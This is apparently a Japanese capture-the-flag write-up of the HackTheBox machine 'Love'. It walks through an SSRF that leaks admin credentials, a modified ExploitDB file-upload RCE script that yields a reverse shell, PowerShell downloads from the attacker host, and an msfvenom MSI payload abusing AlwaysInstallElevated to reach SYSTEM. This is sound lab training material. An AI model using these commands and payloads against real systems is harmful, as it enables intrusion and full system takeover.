HackTheBox Love
Love
侵入
nmap
ポートスキャンを行う
┌──(kali㉿kali)-[~/Desktop/Love]
└─$ sudo nmap -Pn -n -v --reason -sS -p- --min-rate=1000 -A 10.10.10.239 -oN nmap.log
PORT STATE SERVICE REASON VERSION
80/tcp open http syn-ack ttl 127 Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1j PHP/7.3.27)
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.27
|_http-title: Voting System using PHP
135/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
139/tcp open netbios-ssn syn-ack ttl 127 Microsoft Windows netbios-ssn
443/tcp open ssl/http syn-ack ttl 127 Apache httpd 2.4.46 (OpenSSL/1.1.1j PHP/7.3.27)
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.27
|_http-title: 403 Forbidden
| ssl-cert: Subject: commonName=staging.love.htb/organizationName=ValentineCorp/stateOrProvinceName=m/countryName=in
| Issuer: commonName=staging.love.htb/organizationName=ValentineCorp/stateOrProvinceName=m/countryName=in
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2021-01-18T14:00:16
| Not valid after: 2022-01-18T14:00:16
| MD5: bff0 1add 5048 afc8 b3cf 7140 6e68 5ff6
|_SHA-1: 83ed 29c4 70f6 4036 a6f4 2d4d 4cf6 18a2 e9e4 96c2
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_ http/1.1
445/tcp open microsoft-ds syn-ack ttl 127 Windows 10 Pro 19042 microsoft-ds (workgroup: WORKGROUP)
3306/tcp open mysql? syn-ack ttl 127
| fingerprint-strings:
| LANDesk-RC, NCP, ms-sql-s:
|_ Host '10.10.14.12' is not allowed to connect to this MariaDB server
5000/tcp open http syn-ack ttl 127 Apache httpd 2.4.46 (OpenSSL/1.1.1j PHP/7.3.27)
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.27
|_http-title: 403 Forbidden
5040/tcp open unknown syn-ack ttl 127
5985/tcp open http syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
5986/tcp open ssl/http syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
| ssl-cert: Subject: commonName=LOVE
| Subject Alternative Name: DNS:LOVE, DNS:Love
| Issuer: commonName=LOVE
| Public Key type: rsa
| Public Key bits: 4096
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2021-04-11T14:39:19
| Not valid after: 2024-04-10T14:39:19
| MD5: d35a 2ba6 8ef4 7568 f99d d6f4 aaa2 03b5
|_SHA-1: 84ef d922 a70a 6d9d 82b8 5bb3 d04f 066b 12f8 6e73
|_ssl-date: 2022-09-30T07:33:03+00:00; +21m34s from scanner time.
| tls-alpn:
|_ http/1.1
7680/tcp open pando-pub? syn-ack ttl 127
47001/tcp open http syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open unknown syn-ack ttl 127
49665/tcp open unknown syn-ack ttl 127
49666/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49667/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49668/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49669/tcp open unknown syn-ack ttl 127
49670/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
多くのポートを確認
3306番を確認しているが、アクセスができないことが出力でわかる
web
ログイン画面が表示された
ポートスキャンで、5000番を確認したが、権限でアクセスできないことがわかる
nmap の結果で、staging.love.htb というサブドメインも発見したのでアクセスしてみる
新たなページを発見
Demo を押すと、beta.php に遷移する
URL を入力することで、ファイルをスキャンするらしい
┌──(kali㉿kali)-[~/Desktop/Love]
└─$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
試しに、kali でサーバを立ち上げ、kali の ip アドレスを入力してみる
ファイルが表示された
次に、127.0.0.1:5000 を入力してみる
権限で弾かれることなく、アクセスでき、@LoveIsInTheAir!!!! という文字列を発見
初めはこれが何を表すのかわからなかったが、調べてみると、SSRF の類であることがわかった
dir
SSRF を見つけたが、攻撃の手法がわからないので、もう少し列挙を進める
┌──(kali㉿kali)-[~/Desktop/Love]
└─$ gobuster dir -u http://love.htb/ -w /usr/share/wordlists/dirb/common.txt -o gobuster_dir.log
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://love.htb/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Timeout: 10s
===============================================================
2022/09/30 16:19:54 Starting gobuster in directory enumeration mode
===============================================================
/admin (Status: 301) [Size: 329] [--> http://love.htb/admin/]
/ADMIN (Status: 301) [Size: 329] [--> http://love.htb/ADMIN/]
/Admin (Status: 301) [Size: 329] [--> http://love.htb/Admin/]
/examples (Status: 503) [Size: 398]
/index.php (Status: 200) [Size: 4388]
/licenses (Status: 403) [Size: 417]
/nul (Status: 403) [Size: 298]
/phpmyadmin (Status: 403) [Size: 298]
/plugins (Status: 301) [Size: 331] [--> http://love.htb/plugins/]
/prn (Status: 403) [Size: 298]
===============================================================
2022/09/30 16:22:59 Finished
===============================================================
admin など、多数の出力を確認(一部省略)
admin
先程とは少し違ったログイン画面が出現した
試しに、admin : admin でログインした。
結果、Incorrent password と出力されたことから、admin ユーザが存在することがわかった
searchsploit
ログイン画面からもわかるように、Voting System が使用されているらしい
┌──(kali㉿kali)-[~/Desktop/Love]
└─$ searchsploit Voting System
--------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
--------------------------------------------------------------------------------------------- ---------------------------------
Online Voting System - Authentication Bypass | php/webapps/43967.py
Online Voting System 1.0 - Authentication Bypass (SQLi) | php/webapps/50075.txt
Online Voting System 1.0 - Remote Code Execution (Authenticated) | php/webapps/50076.txt
Online Voting System 1.0 - SQLi (Authentication Bypass) + Remote Code Execution (RCE) | php/webapps/50088.py
Online Voting System Project in PHP - 'username' Persistent Cross-Site Scripting | multiple/webapps/49159.txt
Voting System 1.0 - Authentication Bypass (SQLI) | php/webapps/49843.txt
Voting System 1.0 - File Upload RCE (Authenticated Remote Code Execution) | php/webapps/49445.py
Voting System 1.0 - Remote Code Execution (Unauthenticated) | php/webapps/49846.txt
Voting System 1.0 - Time based SQLI (Unauthenticated SQL injection) | php/webapps/49817.txt
WordPress Plugin Poll_ Survey_ Questionnaire and Voting system 1.5.2 - 'date_answers' Blind | php/webapps/50052.txt
--------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
いくつか脆弱性を発見。7行目の File Upload RCE は使えるかもしれない
┌──(kali㉿kali)-[~/Desktop/Love]
└─$ searchsploit -m php/webapps/49445.py
Exploit: Voting System 1.0 - File Upload RCE (Authenticated Remote Code Execution)
URL: https://www.exploit-db.com/exploits/49445
Path: /usr/share/exploitdb/exploits/php/webapps/49445.py
File Type: ASCII text, with very long lines, with CRLF line terminators
Copied to: /home/kali/Desktop/Love/49445.py
コードをダウンロード
# --- Edit your settings here ----
IP = "192.168.1.207" # Website's URL
USERNAME = "potter" #Auth username
PASSWORD = "password" # Auth Password
REV_IP = "192.168.1.207" # Reverse shell IP
REV_PORT = "8888" # Reverse port
# --------------------------------
コードの中身をみると、上の行を書き換えるようになっている
このコードは本来認証情報が必要だが、SSRF を利用して取得済み
# --- Edit your settings here ----
IP = "10.10.10.239" # Website's URL
USERNAME = "admin" #Auth username
PASSWORD = "@LoveIsInTheAir!!!!" # Auth Password
REV_IP = "10.10.14.12" # Reverse shell IP
REV_PORT = "5555" # Reverse port
# --------------------------------
上記の様に、変更
INDEX_PAGE = f"http://{IP}/votesystem/admin/index.php"
LOGIN_URL = f"http://{IP}/votesystem/admin/login.php"
VOTE_URL = f"http://{IP}/votesystem/admin/voters_add.php"
CALL_SHELL = f"http://{IP}/votesystem/images/shell.php"
さらに、書き換えたコードのすぐ下に、URL を定義する行をみる
IP と admin の間に、votesystem という文字列があり、これではエラーになってしまう
INDEX_PAGE = f"http://{IP}/admin/index.php"
LOGIN_URL = f"http://{IP}/admin/login.php"
VOTE_URL = f"http://{IP}/admin/voters_add.php"
CALL_SHELL = f"http://{IP}/images/shell.php"
全ての行から votesystem を削除
phoebe としてのシェル
exploit
変更したコードを実行する
┌──(kali㉿kali)-[~/Desktop/Love]
└─$ python3 49445.py
Start a NC listner on the port you choose above and run...
Logged in
Poc sent successfully
待ち受ける
┌──(kali㉿kali)-[~/Desktop/Love]
└─$ nc -lvnp 5555
listening on [any] 5555 ...
connect to [10.10.14.12] from (UNKNOWN) [10.10.10.239] 59783
b374k shell : connected
Microsoft Windows [Version 10.0.19042.867]
(c) 2020 Microsoft Corporation. All rights reserved.
C:\xampp\htdocs\omrs\images>whoami
whoami
love\phoebe
侵入成功
user フラグ
C:\Users\Phoebe\Desktop>type user.txt
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
フラグ取得
権限昇格
winPEAS
一通り、探索したが、情報が落ちないため、winPEAS を実行する
C:\ProgramData>powershell -c "(New-Object System.Net.WebClient).DownloadFile('http://10.10.14.12/winPEASx64.exe','C:\ProgramData\winpeas.exe')"
winPEAS をサーバへアップロードする
C:\ProgramData>./winpeas.exe
[+] Checking AlwaysInstallElevated
[?] [https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#alwaysinstallelevated](https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#alwaysinstallelevated)
AlwaysInstallElevated set to 1 in HKLM!
AlwaysInstallElevated set to 1 in HKCU!
出力を調べてみたところ、上記の出力はかなり良くない状態であるらしい
この状態は .msi ファイルを SYSTEM 特権レベルで実行してしまうことを表す
┌──(kali㉿kali)-[~/Desktop/Love]
└─$ msfvenom -p windows -a x64 -p windows/x64/shell_reverse_tcp LHOST=10.10.14.12 LPORT=6666 -f msi -o love.msi
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No encoder specified, outputting raw payload
Payload size: 460 bytes
Final size of msi file: 159744 bytes
Saved as: love.msi
msfvenom を使用して .msi ファイルを用意する
C:\ProgramData>powershell -c "(New-Object System.Net.WebClient).DownloadFile('http://10.10.14.12/love.msi','C:\ProgramData\love.msi')"
サーバに .msi ファイルをアップロード
root としてのシェル
msiexec
C:\ProgramData>msiexec /quiet /qn /i love.msi
msi を実行する
┌──(kali㉿kali)-[~/Desktop/Love]
└─$ nc -lvnp 6666
listening on [any] 6666 ...
connect to [10.10.14.12] from (UNKNOWN) [10.10.10.239] 59823
Microsoft Windows [Version 10.0.19042.867]
(c) 2020 Microsoft Corporation. All rights reserved.
C:\WINDOWS\system32>whoami
whoami
nt authority\system
権限昇格成功
root フラグ
C:\Users\Administrator\Desktop>type root.txt
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
フラグ取得
所感
今回のボックスは、サーバへのアップロードがなかなかうまくいかず、かなり時間をかけてしまった。列挙は結構うまくいったので楽しく攻略することができた。
参考記事
AlwaysInstallElevated
Discussion